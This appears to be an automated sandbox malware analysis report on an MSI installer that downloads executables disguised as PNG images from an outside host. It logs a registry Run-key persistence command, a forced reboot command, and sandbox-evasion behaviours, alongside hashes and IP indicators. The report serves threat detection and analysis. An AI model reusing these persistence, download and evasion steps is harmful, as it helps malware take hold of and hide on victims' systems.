Edit tour

Windows Analysis Report
9rybs.msi

Overview

General Information

Sample name:	9rybs.msi
Analysis ID:	1486731
MD5:	e39e03a8e95aec841d8ec9e1ab3d5706
SHA1:	3d9812935a2413fea198c3b11bf48769385bb077
SHA256:	7b67c71ae5aa24c92655d29e37896f639fa42fa79713b174c6a660f5c19e49a2
Tags:	msi
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected suspicious sample

Machine Learning detection for dropped file

Sigma detected: Execution from Suspicious Folder

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious Program Location with Network Connections

Uses shutdown.exe to shutdown or reboot the system

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for available system drives (often done to infect USB drives)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Msiexec Initiated Connection

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Sigma detected: Suspicious Execution of Shutdown

Sigma detected: Suspicious MsiExec Embedding Parent

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Classification

Process Tree

System is w10x64

msiexec.exe (PID: 5464 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\9rybs.msi" MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 3148 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 7176 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 25DA5FC2F3AC90E0630AA0C19D390DBD MD5: 9D09DC1EDA745A5F87553048E57620CF)

cmd.exe (PID: 7408 cmdline: "C:\Windows\System32\cmd.exe" /C start /MIN reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7464 cmdline: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe" MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

conhost.exe (PID: 7472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

shutdown.exe (PID: 7620 cmdline: "C:\Windows\SysWOW64\shutdown.exe" /r /f /t 15 MD5: FCDE5AF99B82AE6137FB90C7571D40C3)

conhost.exe (PID: 7632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PeFIvJrY.exe (PID: 7820 cmdline: "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe" MD5: 65CD1FFDB524F091FC06884DCB1270F9)

PeFIvJrY.exe (PID: 7896 cmdline: "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe" MD5: 65CD1FFDB524F091FC06884DCB1270F9)

cleanup

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe" , CommandLine: "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe" , CommandLine|base64offset|contains: , Image: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe, NewProcessName: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe, OriginalFileName: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe" , ProcessId: 7820, ProcessName: PeFIvJrY.exe

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 7464, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\PeFIvJrY

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DesusertionIp: 20.15.106.83, DesusertionIsIpv6: false, DesusertionPort: 80, EventID: 3, Image: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe, Initiated: true, ProcessId: 7820, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49712

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 7464, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\PeFIvJrY

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe", CommandLine: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /C start /MIN reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7408, ParentProcessName: cmd.exe, ProcessCommandLine: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe", ProcessId: 7464, ProcessName: reg.exe

Sigma detected: Msiexec Initiated Connection

Source: Network Connection

Author: frack113: Data: DesusertionIp: 188.114.97.3, DesusertionIsIpv6: false, DesusertionPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\msiexec.exe, Initiated: true, ProcessId: 7176, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /C start /MIN reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe", CommandLine: "C:\Windows\System32\cmd.exe" /C start /MIN reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding 25DA5FC2F3AC90E0630AA0C19D390DBD, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 7176, ParentProcessName: msiexec.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C start /MIN reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe", ProcessId: 7408, ProcessName: cmd.exe

Sigma detected: Suspicious Execution of Shutdown

Source: Process started

Author: frack113: Data: Command: "C:\Windows\SysWOW64\shutdown.exe" /r /f /t 15, CommandLine: "C:\Windows\SysWOW64\shutdown.exe" /r /f /t 15, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\shutdown.exe, NewProcessName: C:\Windows\SysWOW64\shutdown.exe, OriginalFileName: C:\Windows\SysWOW64\shutdown.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding 25DA5FC2F3AC90E0630AA0C19D390DBD, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 7176, ParentProcessName: msiexec.exe, ProcessCommandLine: "C:\Windows\SysWOW64\shutdown.exe" /r /f /t 15, ProcessId: 7620, ProcessName: shutdown.exe

Sigma detected: Suspicious MsiExec Embedding Parent

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\cmd.exe" /C start /MIN reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe", CommandLine: "C:\Windows\System32\cmd.exe" /C start /MIN reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Windows\syswow64\MsiExec.exe -Embedding 25DA5FC2F3AC90E0630AA0C19D390DBD, ParentImage: C:\Windows\SysWOW64\msiexec.exe, ParentProcessId: 7176, ParentProcessName: msiexec.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C start /MIN reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v PeFIvJrY /t reg_sz /d "C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe", ProcessId: 7408, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:04.104879+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:02.079215+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:16:59.357207+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:16:59.995709+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:00.634854+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:16:59.822396+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:16:58.280053+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:16:58.101078+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:16:58.520069+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:01.419059+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:00.170890+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:16:59.238977+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:16:59.120820+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:16:59.000829+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:03.129170+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:16:58.708055+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET ADWARE_PUP Windows executable sent when remote host claims to send an image - Source IP: 188.114.97.3 - Destination IP: 192.168.2.9

Timestamp:	2024-08-02T14:16:49.994894+0200
SID:	2001683
Source Port:	443
Destination Port:	49707
Protocol:	TCP
Classtype:	Possibly Unwanted Program Detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:16:58.400227+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:05.217884+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:03.799262+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:01.767250+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:02.779659+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:16:58.828216+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:03.624188+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:00.515857+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:16:59.646763+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:00.929624+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE UPX compressed file download possible malware - Source IP: 188.114.97.3 - Destination IP: 192.168.2.9

Timestamp:	2024-08-02T14:16:49.899563+0200
SID:	2001046
Source Port:	443
Destination Port:	49707
Protocol:	TCP
Classtype:	Misc activity

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:00.344289+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:00.753285+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:02.435205+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:03.447548+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:03.975563+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:02.955846+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:01.105312+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:01.591471+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:16:59.476645+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:02.607625+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET ADWARE_PUP Windows executable sent when remote host claims to send an image - Source IP: 188.114.97.3 - Destination IP: 192.168.2.9

Timestamp:	2024-08-02T14:16:48.126661+0200
SID:	2001683
Source Port:	443
Destination Port:	49706
Protocol:	TCP
Classtype:	Possibly Unwanted Program Detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:01.889631+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:01.300206+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:02.261195+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO ADWARE_PUP TakeMyFile User-Agent - Source IP: 192.168.2.9 - Destination IP: 52.54.161.79

Timestamp:	2024-08-02T14:17:03.267318+0200
SID:	2849814
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.1% probability

Machine Learning detection for dropped file

Source: C:\Users\Public\PeFI\vJrY\PeFI.png

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.9:49707 version: TLS 1.2

Source:	Binary string: wininet.pdb source: shi64B2.tmp.3.dr
Source:	Binary string: E:\B\T\d30760c8-f36a-4525-bc41-ffb9fa48b740\build\Win32\Release\mc-webview-cnt.pdb source: PeFIvJrY.exe, PeFIvJrY.exe, 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, PeFIvJrY.exe, 0000000D.00000002.1727643919.00000000003E1000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: C:\JobRelease\win\Release\bin\x86\embeddeduiproxy.pdb source: 9rybs.msi, 495fa1.msi.2.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\SoftwareDetector.pdb source: 9rybs.msi, MSI6487.tmp.2.dr, 495fa1.msi.2.dr
Source:	Binary string: d3d12.pdbUGP source: shi6530.tmp.3.dr
Source:	Binary string: d3d12.pdb source: shi6530.tmp.3.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\SoftwareDetector.pdb\ source: 9rybs.msi, MSI6487.tmp.2.dr, 495fa1.msi.2.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\InstallerAnalytics.pdbu source: 9rybs.msi, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, 495fa1.msi.2.dr, MSI6F47.tmp.2.dr
Source:	Binary string: E:\B\T\d30760c8-f36a-4525-bc41-ffb9fa48b740\build\Win32\Release\mc-webview-cnt.pdbJ source: PeFIvJrY.exe, 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, PeFIvJrY.exe, 0000000D.00000002.1727643919.00000000003E1000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: wininet.pdbUGP source: shi64B2.tmp.3.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\InstallerAnalytics.pdb source: 9rybs.msi, MSI6185.tmp.2.dr, MSI7033.tmp.2.dr, MSI9F25.tmp.2.dr, MSI6F17.tmp.2.dr, 495fa1.msi.2.dr, MSI6F47.tmp.2.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdb source: 9rybs.msi, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdbg source: 9rybs.msi, MSI6467.tmp.2.dr, 495fa1.msi.2.dr, MSI635C.tmp.2.dr, MSI7003.tmp.2.dr, MSI62DE.tmp.2.dr

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_0043303C FindFirstFileExW,	12_2_0043303C
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_00424DC6 FindFirstFileExW,GetLastError,FindFirstFileExW,GetLastError,	12_2_00424DC6
Source: C:\Users\Public\PeFI\vJrY\PeFIvJrY.exe	Code function: 12_2_00424DA6 FindClose,FindFirstFileExW,GetLastError,FindFirstFileExW,GetLastError,	12_2_00424DA6

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View

ASN Name: MICROSOFT-CORP-MSN-AS-BLOCKUS MICROSOFT-CORP-MSN-AS-BLOCKUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: GET /carol1.png HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: yznv.prefintions.pro
Source: global traffic	HTTP traffic detected: GET /derrama.png HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: yznv.prefintions.pro

Source: unknown	TCP traffic detected without corresponding DNS query: 20.15.106.83
Source: unknown	TCP traffic detected without corresponding DNS query: 20.15.106.83
Source: unknown	TCP traffic detected without corresponding DNS query: 20.15.106.83
Source: unknown	TCP traffic detected without corresponding DNS query: 20.15.106.83
Source: unknown	TCP traffic detected without corresponding DNS query: 20.15.106.83
